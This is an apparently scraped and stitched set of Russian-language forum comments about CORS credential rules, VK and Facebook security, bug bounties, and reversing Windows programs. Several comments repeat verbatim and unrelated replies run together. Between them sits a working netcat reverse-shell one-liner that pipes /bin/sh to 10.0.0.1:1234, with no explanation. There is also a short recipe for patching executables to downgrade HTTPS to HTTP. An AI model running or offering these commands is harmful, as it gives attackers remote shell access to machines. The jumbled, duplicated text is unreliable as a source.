И еще стоить отметить, что значение заголовка «Access-Control-Allow-Origin» не должно равняться *. Иначе, даже если Access-Control-Allow-Credentials === true, то браузер не допустит отправку сredentials.
Если серверная сторона не видит разницы между HTTPS и HTTP соединениями, берем отладчик, реверсим исполняемый файл, и меняем https на http, ну и порт, если отличен от 80.
Проверено десятком разного рода софта.
Ну про остальных не знаю, но вот у ВК с безопасностью проблемы.
Да, защита от XSS есть, CSRF-токены там всякие.
На самом деле, не все так радужно. Много сказано на эту тему, но пока они не будут поощрять за уязвимости, ничего хорошего не выйдет.
Может это только мое мнение, тут не мне судить, так сказать.
Но факт остается в том, что я находил довольно много разных нехороших штук, там, у них под капотом.
Чего стоит только моя XSS в Августе 2012 Хабр (если мне сейчас 17, то сколько было тогда?).
НО(!), у них такая политика. С этим ничего не поделаешь. Мы живем в таком мире, где просто не существует идеальной защиты.
Но почему не предпринимать попытки для ее создания (читай Баг баунти), я не понимаю.
Как ни странно, но зачастую мы используем Окна только из за софта, которого просто нет на *nix.
В моем же случае, все упирается в реверсивный инжиниринг оконных программ.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
Проверено десятком разного рода софта.
Эх. Удалился я :(
Кстати, надо что-нибудь запилить.
Я тебе отпишусь на днях в скайпе
Новый GOOD'OK? :)
Привет)
UPD: Или вы про ФБ?
Да, защита от XSS есть, CSRF-токены там всякие.
На самом деле, не все так радужно. Много сказано на эту тему, но пока они не будут поощрять за уязвимости, ничего хорошего не выйдет.
Может это только мое мнение, тут не мне судить, так сказать.
Но факт остается в том, что я находил довольно много разных нехороших штук, там, у них под капотом.
Чего стоит только моя XSS в Августе 2012 Хабр (если мне сейчас 17, то сколько было тогда?).
НО(!), у них такая политика. С этим ничего не поделаешь. Мы живем в таком мире, где просто не существует идеальной защиты.
Но почему не предпринимать попытки для ее создания (читай Баг баунти), я не понимаю.
П.с: Кстати, FB меня кинул, с CSRF ;)
В моем же случае, все упирается в реверсивный инжиниринг оконных программ.
social.msdn.microsoft.com/Forums/ru-RU/061af55a-44ee-4a50-8142-8f4ee1e2cd1c/windows-azure-